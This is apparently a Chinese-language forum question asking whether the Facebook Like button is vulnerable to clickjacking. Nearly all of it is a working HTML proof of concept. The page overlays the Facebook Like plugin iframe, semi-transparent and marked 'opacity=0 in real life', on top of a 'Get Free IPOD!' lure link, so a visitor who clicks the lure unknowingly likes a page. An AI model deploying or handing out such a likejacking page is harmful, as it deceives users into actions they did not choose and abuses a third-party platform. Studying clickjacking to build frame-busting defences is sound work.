Facebook喜欢按钮容易受到点击劫持吗？

几天之前，我已阅读关于从http://javascript.info/tutorial/clickjacking的点击劫持攻击。所以今天我试着用facebook这样的按钮。看来我在实验中取得了成功。Facebook喜欢按钮容易受到点击劫持吗？

但我不知道天气我正确与否？这是我用过的代码片段。

<html> 
<head> 
    <script> 
     window.fbAsyncInit = function() { 
     FB.init({ 
      appId  : '********', 
      xfbml  : true, 
      version : 'v2.1' 
     }); 
     }; 

     (function(d, s, id){ 
     var js, fjs = d.getElementsByTagName(s)[0]; 
     if (d.getElementById(id)) {return;} 
     js = d.createElement(s); js.id = id; 
     js.src = "//connect.facebook.net/en_US/sdk.js"; 
     fjs.parentNode.insertBefore(js, fjs); 
     }(document, 'script', 'facebook-jssdk')); 
    </script> 
    <style> 
     iframe { /* iframe from facebook.com */ 
      width:140px; 
      height:100px; 
      margin-top: 100px; 
      margin-left: 50px; 
      position:absolute; 
      top:0; left:0; 
      filter:alpha(opacity=50); /* in real life opacity=0 */ 
      opacity:0.5; 
     } 
     .a{ 
      margin-top: 95px; 
     } 
    </style> 
</head> 
<body> 
    <div class="a"> 
     <a href="http://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">Get Free IPOD!</a> 
    </div> 
    <iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FTimesnow&amp;width&amp;layout=button&amp;action=like&amp;show_faces=false&amp;share=false&amp;height=35&amp;appId=*****" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:35px;" allowTransparency="true"></iframe> 
</body> 
</html>

Here is the screenshot.